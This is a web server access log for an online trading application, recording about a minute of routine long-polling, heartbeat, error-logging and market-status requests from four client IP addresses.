[09/Jan/2026:14:06:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939034633 HTTP/1.1" -
[09/Jan/2026:14:06:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939043139 HTTP/1.1" -
[09/Jan/2026:14:06:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939052972 HTTP/1.1" -
[09/Jan/2026:14:06:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939036984 HTTP/1.1" -
[09/Jan/2026:14:06:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939039694 HTTP/1.1" -
[09/Jan/2026:14:06:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:06:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:06:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939048211 HTTP/1.1" -
[09/Jan/2026:14:06:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939058292 HTTP/1.1" -
[09/Jan/2026:14:06:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939042064 HTTP/1.1" -
[09/Jan/2026:14:06:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939044864 HTTP/1.1" -
[09/Jan/2026:14:06:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939053295 HTTP/1.1" -
[09/Jan/2026:14:06:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939063323 HTTP/1.1" -
[09/Jan/2026:14:06:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:06:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939047121 HTTP/1.1" -
[09/Jan/2026:14:06:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939050009 HTTP/1.1" -
[09/Jan/2026:14:06:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:06:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939058651 HTTP/1.1" -
[09/Jan/2026:14:06:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939068351 HTTP/1.1" -
[09/Jan/2026:14:06:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:06:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939052196 HTTP/1.1" -
[09/Jan/2026:14:06:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:06:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:06:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939055146 HTTP/1.1" -
[09/Jan/2026:14:06:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939063682 HTTP/1.1" -
[09/Jan/2026:14:06:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939073376 HTTP/1.1" -
[09/Jan/2026:14:06:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939057237 HTTP/1.1" -
[09/Jan/2026:14:06:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939060204 HTTP/1.1" -
[09/Jan/2026:14:06:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939068752 HTTP/1.1" -
[09/Jan/2026:14:06:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939078406 HTTP/1.1" -
[09/Jan/2026:14:06:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939062269 HTTP/1.1" -
[09/Jan/2026:14:06:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:06:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939065352 HTTP/1.1" -
[09/Jan/2026:14:06:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939073784 HTTP/1.1" -
[09/Jan/2026:14:06:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939083471 HTTP/1.1" -
[09/Jan/2026:14:06:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939067332 HTTP/1.1" -
[09/Jan/2026:14:06:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:06:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:06:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939070420 HTTP/1.1" -
[09/Jan/2026:14:06:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939078881 HTTP/1.1" -
[09/Jan/2026:14:06:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939088489 HTTP/1.1" -
[09/Jan/2026:14:06:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939072477 HTTP/1.1" -
[09/Jan/2026:14:06:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939075568 HTTP/1.1" -
[09/Jan/2026:14:06:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939083958 HTTP/1.1" -
[09/Jan/2026:14:06:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939093512 HTTP/1.1" -
[09/Jan/2026:14:06:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:06:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939077552 HTTP/1.1" -
[09/Jan/2026:14:06:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:06:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939080698 HTTP/1.1" -
[09/Jan/2026:14:06:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939089059 HTTP/1.1" -
[09/Jan/2026:14:06:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939098577 HTTP/1.1" -
[09/Jan/2026:14:06:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:06:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:06:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939082626 HTTP/1.1" -
[09/Jan/2026:14:06:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:06:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:06:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939085846 HTTP/1.1" -
[09/Jan/2026:14:06:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939094085 HTTP/1.1" -
[09/Jan/2026:14:06:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939103636 HTTP/1.1" -
[09/Jan/2026:14:07:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939087679 HTTP/1.1" -
[09/Jan/2026:14:07:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939090905 HTTP/1.1" -
[09/Jan/2026:14:07:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939099148 HTTP/1.1" -
[09/Jan/2026:14:07:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939108701 HTTP/1.1" -
[09/Jan/2026:14:07:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939092702 HTTP/1.1" -
[09/Jan/2026:14:07:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:07:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939096040 HTTP/1.1" -
[09/Jan/2026:14:07:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939104245 HTTP/1.1" -
[09/Jan/2026:14:07:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939113762 HTTP/1.1" -
[09/Jan/2026:14:07:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939097763 HTTP/1.1" -
[09/Jan/2026:14:07:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:07:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:07:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:07:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939101105 HTTP/1.1" -
[09/Jan/2026:14:07:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939109321 HTTP/1.1" -
[09/Jan/2026:14:07:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939118836 HTTP/1.1" -
[09/Jan/2026:14:07:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939102847 HTTP/1.1" -
[09/Jan/2026:14:07:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939106235 HTTP/1.1" -
